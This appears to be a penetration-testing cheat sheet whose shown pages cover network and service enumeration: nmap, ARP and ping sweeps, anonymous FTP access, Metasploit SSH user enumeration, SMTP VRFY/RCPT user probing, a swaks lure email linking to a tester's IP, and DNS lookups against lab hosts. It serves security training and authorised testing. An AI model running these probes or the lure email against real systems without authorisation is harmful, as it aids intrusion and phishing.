# Initial page

Welcome to N7W Era (Newerasec.com) penetration testing notes.

I have gathered these notes from lots of sources on the internet, such as OSCP guides, enumeration guides and books. If you see any content that you wrote and I haven't credited you, please let me know and I will add it.

It's worth remembering that this is **not a guide** to infrastructure testing, it's more like a **cheat sheet** to give you an idea of what to do and how to do it.

You can find all the notes in a git format here, available to download:

<https://github.com/N7WEra/infrastructure-notes>


# Table Of Content

All the pages, taken from: https\://github.com/N7WEra/Testing-notes/blob/master/SUMMARY.md

* [Enumeration](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/README.md)
  * [Packet Capture](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/packet-capture.md)
  * [Host Discovery](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/host-disocvery.md)
  * [Services / Ports](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/README.md)
    * [21 - FTP](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/ftp.md)
    * [22 - SSH](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/ssh.md)
    * [25 - SMTP](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/smtp.md)
    * [53 - DNS](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/dns.md)
    * [67 - DHCP](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/dhcp.md)
    * [79 - Finger](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/finger.md)
    * [88 - Kerberos](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/88-kerberos.md)
    * [111 - RPC](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/rpc.md)
    * [113 - ident](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/ident.md)
    * [135 - MSRPC](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/135-msrpc.md)
    * [137 - Netbios](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/netbios.md)
    * [139/445 - SMB](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/smb.md)
    * [161 - SNMP](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/snmp.md)
    * [177 - XDMCP](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/xdmcp.md)
    * [363 - LDAP](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/ldap.md)
    * [500 - IKE (IPSEC)](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/ike.md)
    * [512/513 - R Services](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/rservices.md)
    * [623 - IPMI](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/ipmi.md)
    * [1099 - Java RMI](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/1099-java-rmi.md)
    * [1433 - Microsoft SQL](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/1433-microsoft-sql.md)
    * [1521 - Oracle DB](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/1521-oracle-db.md)
    * [2049 - NFS](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/nfs.md)
    * [3306 - MySQL](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/3306-mysql.md)
    * [3389 - RDP](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/3389-rdp.md)
    * [5432 - PostgresSQL](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/5432-postgressql.md)
    * [5900 - VNC](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/vnc.md)
    * [5985 - WinRM](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/winrm.md)
    * [6000 - X11](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/x11.md)
    * [6379 - Redis](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/redis.md)
    * [11211 - Memcached](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/memcached.md)
    * [RDS](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/rds.md)
    * [SQLite](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/services-ports/sqlite.md)
  * [IPV6](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/ipv6/README.md)
    * [Scanning](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/ipv6/scanning.md)
    * [Enumeration](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/ipv6/enumeration.md)
    * [Transfering files](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/ipv6/transfering-files.md)
    * [Pivoting and routes](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/ipv6/pivoting-and-routes.md)
    * [THC IPv6](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/enumeration/ipv6/thc-ipv6.md)
* [Gaining Access](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/README.md)
  * [IP Forwarding](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/ip-forwarding.md)
  * [VLAN hopping](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/vlan-hopping.md)
  * [Psexec](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/psexec.md)
  * [Upgrading shell](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/upgrading-shell.md)
  * [Reverse Shells One-Liners](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/reverse-shells-one-liners.md)
  * [Bruteforce](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/bruteforce.md)
  * [MITM cleartext protocols](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/mitm-cleartext-protocols.md)
  * [Null session](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/null-session.md)
  * [LLMNR / NBT NS Spoofing](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/llmnr-nbt-ns-spoofing.md)
  * [Port knocking](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/port-knocking.md)
  * [Downloading/Transfer files](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/downloading-transfer-files.md)
  * [Remote Desktop](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/remote-desktop.md)
  * [NAC Bypass](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/nac-bypass.md)
  * [Pass-The-Hash](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/gaining-access/pass-the-hash.md)
* [Exploitation](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/exploitation/README.md)
  * [Solaris](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/exploitation/solaris.md)
  * [IPv6](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/exploitation/ipv6.md)
  * [Windows](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/exploitation/windows/README.md)
    * [Compiling Code](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/exploitation/windows/compiling-code.md)
    * [SMB Vulnerabilities](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/exploitation/windows/smb-vulnaribilites.md)
    * [Kerberos Attacks](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/exploitation/windows/kerberos-attacks.md)
* [Privilege Escalation](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/README.md)
  * [Situational Awareness](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/situational-awareness/README.md)
    * [Linux](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/situational-awareness/linux.md)
    * [Windows](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/situational-awareness/windows/README.md)
      * [Registry](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/situational-awareness/windows/registry.md)
      * [PowerView](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/situational-awareness/windows/powerview.md)
      * [FSMO Roles](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/situational-awareness/windows/fsmo-roles.md)
  * [Windows](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/windows/README.md)
    * [Disable Apps and Firewall](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/windows/disable-apps-and-firewall.md)
    * [Add user script](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/windows/add-user-script.md)
    * [UAC Bypass](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/windows/uac-bypass.md)
    * [icacls](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/windows/icacls.md)
  * [Linux](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/linux/README.md)
    * [SUID Shell script](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/linux/suid-shell-script.md)
  * [Solaris](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/solaris.md)
  * [Automated tools](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/automated-tools.md)
  * [Metasploit Modules](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/metasploit-modules.md)
  * [Password Dumping](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/privilege-esclation/password-dumping.md)
* [Breakout](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/breakout/README.md)
  * [LOLBas](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/breakout/lolbas.md)
  * [powershell constrained language byass](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/breakout/powershell-constrained-language-byass.md)
  * [Alternatives to command prompt](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/breakout/alternatives-to-command-prompt.md)
  * [Windows utilities](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/breakout/windows-utilities.md)
  * [Applocker](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/breakout/applocker.md)
  * [Restricted shells](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/breakout/restricted-shells.md)
  * [Environmental Variables / Bypassing Path Restrictions](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/breakout/environmental-variables-bypassing-path-restrictions.md)
* [Presistance](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/presistance/README.md)
  * [Windows](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/presistance/windows.md)
* [Pivoting](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/pivoting/README.md)
  * [Adding routes](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/pivoting/adding-routes.md)
* [Password Cracking](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/password-cracking/README.md)
  * [Hashcat](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/password-cracking/hashcat.md)
  * [John](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/password-cracking/john.md)
  * [Cisco Passwords](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/password-cracking/cisco-passwords.md)
  * [Passwords Lists](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/password-cracking/passwords-lists.md)
* [Tools](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/README.md)
  * [Nishang](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/nishang.md)
  * [UACME](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/uacme.md)
  * [Bypass-UAC](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/bypass-uac.md)
  * [MSBuildAPICaller](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/msbuildapicaller.md)
  * [Impacket](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/impacket.md)
  * [SharpPersist](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/sharppersist.md)
  * [Terminals](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/terminals.md)
  * [IP Calculation](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/ip-calculation.md)
  * [pwsh](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/pwsh.md)
  * [psTools / Sysinternals](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/pstools-sysinternals.md)
  * [Unlock applocker](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/unlock-applocker.md)
  * [enum4linux](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/enum4linux.md)
  * [Bloodhound](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/bloodhound.md)
  * [mitm6](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/mitm6.md)
  * [Enyx](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/enyx.md)
  * [nfsshell](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/nfsshell.md)
  * [Metasploit](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/metasploit/README.md)
    * [msfvenom](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/tools/metasploit/msfvenom.md)
* [Others](https://github.com/N7WEra/Testing-notes/blob/master/infrastructure-testing/others.md)


# Enumeration

Enumeration, enumeration , enumeration.&#x20;


# Packet Capture

Packet capture is a computer networking term for intercepting a data packet that is crossing or moving over a specific computer network.

## Tcpdump

**Save a packet capture:**&#x20;

`tcpdump -i  -s0 -w pcapfile.pcap`

Ctrl-C to stop after about 5 minutes.&#x20;

Replay capture and look for interesting protocols:

`tcpdump -r pcapfile.pcap not  and not arp`

Tcpdump filter for DHCPv6:

`tcpdump -i eth0 -n -vv '(udp port 546 or 547) or icmp6`

Tcpdump filter based on a range:

`tcpdump -i eth0 -s0 -w nix01.pcap net 172.16.1.0/24`

## Wireshark

**Router solicitation filter**

When analyzing IPv6 traffic in Wireshark, you can simply use the filter `icmpv6.type==133` to show only "Router Solicitation" messages.

## BruteShark

BruteShark is a Network Forensic Analysis Tool (NFAT) that performs deep processing and inspection of network traffic (mainly PCAP files). It includes: password extracting, building a network map, reconstruct TCP sessions, extract hashes of encrypted passwords and even convert them to a Hashcat format in order to perform an offline Brute Force attack.

<https://github.com/odedshimon/BruteShark>


# Host Discovery

## IP

Local IP

```
ip addr show dev tun0
```

ipv6

```
ip -6 addr show dev tun0
```

Find local hosts:

`ip neigh`

IPv6 hosts:

`ip -6 neigh`&#x20;

#### How do I change the state of the device to UP or DOWN?

The syntax is as follows:\
`ip link set dev {DEVICE} {up|down}`

## Nmap

Useful parameters:&#x20;

| Parameter              | Info                                                               |
| ---------------------- | ------------------------------------------------------------------ |
| -sS                    | Syn Scan                                                           |
| -v                     | Verbose                                                            |
| -A                     | OS, Scripts and service scan                                       |
| -p-                    | Full port Scan                                                     |
| -sU                    | UDP Scan                                                           |
| --script=smb-vuln-scan | Run smb script                                                     |
| --script-args=unsafe=1 | run the script with arguments                                      |
| -iL                    | Scan from a target file                                            |
| --exclude              | Exclude listed hosts                                               |
| --excludefile          | Exclude file list                                                  |
| -sL                    | No scan list targets only                                          |
| -sn                    | Disable port scanning, host discovery only                         |
| -sV                    | Attempts to determine the service version                          |
| -T0 to -T5             | Scan speed, 0 the slowest and best at evasion, 5 insane speed scan |
| --max-retries          | Maximum member of port scan retransmissions                        |

## netdiscover

Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at client site

`netdiscover -r 192.168.1.0/24`&#x20;

**Results:**&#x20;

```
 Currently scanning: Finished!   |   Screen View: Unique Hosts                  
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                
 _____________________________________________________________________________ 
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname       
 ----------------------------------------------------------------------------- 
 192.168.17.1    00:50:56:c0:00:08      1      60  VMware, Inc.                 
 192.168.17.2    00:50:56:e5:1f:80      1      60  VMware, Inc.                 
 192.168.17.131  00:0c:29:31:8a:2b      1      60  VMware, Inc.                 
 192.168.17.254  00:50:56:f1:23:55      1      60  VMware, Inc.     
```

## ARP

```
root@kali:~/Documents/Training# arp-scan -l -v -I wlan0  
Interface: wlan0, datalink type: EN10MB (Ethernet) 
Using 192.168.1.0:255.255.255.0 for localnet 
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan) 
192.168.1.1 00:1d:aa:15:e5:28 DrayTek Corp. 
192.168.1.2 7c:4c:a5:76:14:54 BSkyB Ltd Padding=0f3d00100000000100000000000000000000 
192.168.1.3 c4:71:54:30:5f:cc (Unknown) 
192.168.1.11 94:c6:91:a1:1e:c6 (Unknown) 
192.168.1.17 f0:03:8c:67:a0:49 AzureWave Technology Inc.  
Padding=ea92d2071ad532a1a4afe6ff000000000000 
192.168.1.17 f0:03:8c:67:a0:49 AzureWave Technology Inc.  
Padding=882079afbeb6ee4c29bcf66f000000000000 (DUP: 2) 
192.168.1.18 98:01:a7:89:5b:e7 Apple, Inc. Padding=6fb47320fa70a613398d8560020405b40402 
192.168.1.25 d4:6e:0e:18:40:3b TP-LINK TECHNOLOGIES CO.,LTD.  
Padding=8aa9f02e679cb9dfd238cef2000000000000 
192.168.1.33 98:01:a7:89:5b:e7 Apple, Inc. 
192.168.1.12 18:1d:ea:9d:b9:17 (Unknown) 
--- Pass 1 complete 
192.168.1.34 18:1d:ea:9d:b9:17 (Unknown) 
192.168.1.21 d4:25:8b:e6:b2:c5 (Unknown) 
--- Pass 2 complete 

12 packets received by filter, 0 packets dropped by kernel 
Ending arp-scan 1.9.5: 256 hosts scanned in 2.412 seconds (106.14 hosts/sec). 12 responded 
```

## OneLiners - Ping sweep

### Windows

`for /L %i in (1,1,255) do @ping -n 1 -w 200 172.21.10.%i > nul && echo 192.168.1.%i is up.`

### Linux

`for i in {1..254} ;do (ping -c 1 172.21.10.$i | grep "bytes from" &) ;done`


# Services / Ports

Specific services/ports enumeration


# 21 - FTP

The File Transfer Protocol is a standard network protocol used for the transfer of computer files between a client and server on a computer network.

\*Consider using FileZilla&#x20;

### Anonymous FTP&#x20;

username: anonymous&#x20;

password: blank&#x20;

**Login using Anonymous:**&#x20;

```
root@Kali:~/# ftp 10.10.10.98 
Connected to 10.10.10.98. 
220 Microsoft FTP Service 
Name (10.10.10.98:root): anonymous 
331 Anonymous access allowed, send identity (e-mail name) as password. 
Password: 
230 User logged in. 
Remote system type is Windows_NT. 
ftp> dir 
200 PORT command successful. 
125 Data connection already open; Transfer starting. 
08-23-18 08:16PM <DIR> Backups 
08-24-18 09:00PM <DIR> Engineer 
226 Transfer complete. 
ftp> exit 
221 Goodbye.
```

### Nmap&#x20;

Port scan using nmap&#x20;

```
nmap -p 21 --script ftp-* 10.10.10.98 
PORT STATE SERVICE VERSION 
21/tcp open ftp Microsoft ftpd 
| ftp-anon: Anonymous FTP login allowed (FTP code 230) 
|_Can't get directory listing: TIMEOUT 
| ftp-syst:  
|_ SYST: Windows_N 
```

### Download everything from FTP server&#x20;

```
root@Kali:~/# wget -m --no-passive 
ftp://anonymous:anonymous@10.10.10.98 

--2019-03-04 17:00:50-- 
ftp://anonymous:*password*@10.10.10.98/ 

=> ‘10.10.10.98/.listing’ 
Connecting to 10.10.10.98:21... connected. 
Logging in as anonymous ... Logged in! 
==> SYST ... done. ==> PWD ... done. 
==> TYPE I ... done. ==> CWD not needed. 
==> PORT ... done. ==> LIST ... done. 
10.10.10.98/.listing [ <=> ] 97 --.-KB/s in 0s 
==> PORT ... done. ==> LIST ... done. 
10.10.10.98/.listing [ <=> ] 97 --.-KB/s in 0s  
2019-03-04 17:00:50 (9.16 MB/s) - ‘10.10.10.98/.listing’ saved [194] 
--2019-03-04 17:00:50-- 
ftp://anonymous:*password*@10.10.10.98/Backups/ 

=> ‘10.10.10.98/Backups/.listing’ 
==> CWD (1) /Backups ... done. 
==> PORT ... done. ==> LIST ... done. 
 
```

### Connect on a non-standard port&#x20;

```
root@kali:~# ftp 
ftp> open 192.148.210.3 134 
Connected to 192.148.210.3. 
220 (vsFTPd 3.0.3) 
Name (192.148.210.3:root): anonymous 
331 Please specify the password. 
Password: 
230 Login successful. 
Remote system type is UNIX. 
Using binary mode to transfer files. 
ftp> dir 
200 PORT command successful. Consider using PASV. 
150 Here comes the directory listing. 
-rw-r--r--    1 ftp      ftp            33 Jun 26 13:57 flag 
226 Directory send OK. 
```

### Metasploit module:&#x20;

`auxiliary/scanner/ftp/ftp_login`&#x20;

`use auxiliary/scanner/ftp/anonymous`&#x20;

`auxiliary/scanner/ftp/ftp_version`&#x20;

## Create FTP server

On a linux host start a FTP:

```
apt-get install python3-pyftpdlib  
python3 -m pyftpdlib -p 21 -w
```

Or use metasploit:

```
msf > use auxiliary/server/ftp
```


# 22 - SSH

Secure Shell is a cryptographic network protocol for operating network services securely over an unsecured network. applications include remote command-line, login, and remote command execution.

### Files

Each SSH server has its own key and signature which it presents upon initial connection by a client. This is an extra integrity step to minimise the risk of man-in-the-middle attacks. Once the host key has been accepted its signature is saved in .ssh/known\_hosts on the client.&#x20;

This means that we would have, at least the following files on the server&#x20;

&#x20;`.ssh/authorized_keys – holding the signature of the public key of any authorised clients`&#x20;

And the following files on the client:&#x20;

`.ssh/id_rsa – Holds the private key for the client`&#x20;

`.ssh/id_rsa.pub – Holds the public key for the client`&#x20;

`.ssh/known_hosts – Holds a list of host signatures of hosts that the client has previously connected to`&#x20;

Generating ssh key:&#x20;

```
root@Kali:~# ssh-keygen  
Generating public/private rsa key pair. 
Enter file in which to save the key (/root/.ssh/id_rsa):  
Created directory '/root/.ssh'. 
Enter passphrase (empty for no passphrase):  
Enter same passphrase again:  
Your identification has been saved in /root/.ssh/id_rsa. 
Your public key has been saved in /root/.ssh/id_rsa.pub. 
The key fingerprint is: 
SHA256:0S22hr1iXCscptJ3CUDSsKPMYrFVOfFJIgvH8pEtst8 root@DESKTOP99 
The key's randomart image is: 
+---[RSA 3072]----+ 
| ..o=*+.         | 
| oo=+B= .. .     | 
| .=o= oo. + .    | 
| ++o . . = o     | 
|.o= .   S =      | 
|.. . E = = +     | 
|    . o B =      | 
|     . o +       | 
|                 | 
+----[SHA256]-----+ 
```

**Choice encryption and key length:**&#x20;

ssh-keygen -t rsa -b 4096&#x20;

Copy the id\_rsa.pub to the authorized\_keys

or use the `ssh-copy-id` command

```
ssh-copy-id -i ~/.ssh/mykey user@host
```

### Enumeration

```
msf5 auxiliary(scanner/ssh/ssh_enumusers) > show options  
Module options (auxiliary/scanner/ssh/ssh_enumusers): 
Name Current Setting Required Description 
---- --------------- -------- ----------- 
CHECK_FALSE false no Check for false positives (random username) 
Proxies no A proxy chain of format type:host:port[,type:host:port][...] 
RHOSTS yes The target address range or CIDR identifier 
RPORT 22 yes The target port 
THREADS 1 yes The number of concurrent threads 
THRESHOLD 10 yes Amount of seconds needed before a user is considered found (timing attack only) 
USERNAME no Single username to test (username spray) 
USER_FILE no File containing usernames, one per line 
Auxiliary action: 
Name Description 
---- ----------- 
Malformed Packet Use a malformed packet 
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 50 
THREADS => 50 
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 10.10.10.86 
RHOSTS => 10.10.10.86 
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE users.lst 
USER_FILE => users.lst 
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run 
[*] 10.10.10.86:22 - SSH - Using malformed packet technique 
[*] 10.10.10.86:22 - SSH - Starting scan 
[-] 10.10.10.86:22 - SSH - User 'jackie.abbott' not found 
[-] 10.10.10.86:22 - SSH - User 'isidro' not found 
[-] 10.10.10.86:22 - SSH - User 'roy' not found 
[-] 10.10.10.86:22 - SSH - User 'colleen' not found 
[-] 10.10.10.86:22 - SSH - User 'harrison.hessel' not found 
[-] 10.10.10.86:22 - SSH - User 'asa.christiansen' not found 
[-] 10.10.10.86:22 - SSH - User 'jessie' not found 
[-] 10.10.10.86:22 - SSH - User 'milton_hintz' not found 
[-] 10.10.10.86:22 - SSH - User 'demario_homenick' not found 
[-] 10.10.10.86:22 - SSH - User 'paris' not found 
[-] 10.10.10.86:22 - SSH - User 'gardner_ward' not found 
[-] 10.10.10.86:22 - SSH - User 'daija.casper' not found 
[-] 10.10.10.86:22 - SSH - User 'alanna.prohaska' not found 
[-] 10.10.10.86:22 - SSH - User 'russell_borer' not found 
[-] 10.10.10.86:22 - SSH - User 'domenica.kulas' not found 
[-] 10.10.10.86:22 - SSH - User 'nick' not found 
[-] 10.10.10.86:22 - SSH - User 'rose' not found 
[-] 10.10.10.86:22 - SSH - User 'pat_wilkinson' not found 
[+] 10.10.10.86:22 - SSH - User 'genevieve' found 
[-] 10.10.10.86:22 - SSH - User 'blaise.sauer' not found 
[-] 10.10.10.86:22 - SSH - User 'abbigail' not found 
```

<https://www.rapid7.com/db/modules/auxiliary/scanner/ssh/ssh_enumusers>&#x20;

### SSH Mismatch

if you get the error:&#x20;

`Unable to negotiate with 123.123.123.123 port 22: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1`

Use the '-oKexAlgorithms' or '-keyexchange'&#x20;

**Example**:&#x20;

`ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@legacyhost`

### Install ssh v1&#x20;

`sudo apt-get install -y openssh-client-ssh1` &#x20;


# 25 - SMTP

The Simple Mail Transfer Protocol is a communication protocol for electronic mail transmission.

## SMTP User Enumeration Utility&#x20;

Allows the enumeration of users: VRFY (confirming the names of valid users) and EXPN (which reveals the actual address of users aliases and lists of e-mail (mailing lists)). Through the implementation of these SMTP commands can reveal a list of valid users. User files contains only Unix usernames so it skips the Microsoft based Email SMTP Server. This can be changed using UNIXONLY option and custom user list can also be provided.&#x20;

**Metasploit:**&#x20;

`use auxiliary/scanner/smtp/smtp_enum`&#x20;

### Manual Enumeration

You can guess for valid user account through the following command and if you receive response code 550 it means unknown user account:

telnet into the host:

`telnet 192.168.0.1 25`

Using vrfy:&#x20;

```
vrfy raj@mail.lab.ignite
```

Using rcpt:

```
RCPT TO:root 
```

If you received a message code 250,251,252 which means the server has accepted the request and user account is valid.&#x20;

### smtp-user-enum (builtin in Kali)&#x20;

if not installed just run `apt install smtp-user-enum`

Simple run:

`smtp-user-enum -M VRFY -U users.txt -t 10.0.0.1`&#x20;

Adding domain (will add the domain after the user):

```
root@kali# smtp-user-enum -U users.txt -D humongousretail.com -t 10.13.38.12 -m 50 -M RCPT
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... RCPT
Worker Processes ......... 50
Usernames file ........... /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt
Target count ............. 1
Username count ........... 21168
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ humongousretail.com

######## Scan started at Sat May 11 10:59:18 2019 #########
10.13.38.12: it@humongousretail.com exists
10.13.38.12: legal@humongousretail.com exists
10.13.38.12: marketing@humongousretail.com exists
10.13.38.12: sales@humongousretail.com exists
######## Scan completed at Sat May 11 11:06:51 2019 #########
4 results.

21168 queries in 453 seconds (46.7 queries / sec)
```

Credit: <https://0xdf.gitlab.io/2020/06/17/endgame-xen.html>

### Nmap

`nmap –script smtp-enum-users.nse 172.16.212.133`&#x20;

## Send Email

### Swaks

Kali has a built in Perl script that can be used to send emails - Swaks - Swiss Army Knife for SMTP.

Example:

```
swaks --to sales@FAKEDOMAIN.com --from it@FAKEDOMAIN.com --header "Subject: Credentials / Errors" --body "test http://10.14.15.41/" --server FAKEDOMAIN.com
```


# 53 - DNS

The Domain Name System is a hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network.

### nslookup&#x20;

```
SERVER {DNS Server} 
{IP we want to check}
```

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FXfXX780GixP7pcq16eRc%2Ffile.jpeg?alt=media)

### Records lookups&#x20;

```
dig a domainname.com @nameserver 
dig mx domainname.com @nameserver 
```

### **Find name server (NS)**&#x20;

```
root@Kali:~# dig ns zonetransfer.me 
[snip] 
;; ANSWER SECTION: 
zonetransfer.me. 7186 IN NS nsztm2.digi.ninja. 
zonetransfer.me. 7186 IN NS nsztm1.digi.ninja. 
```

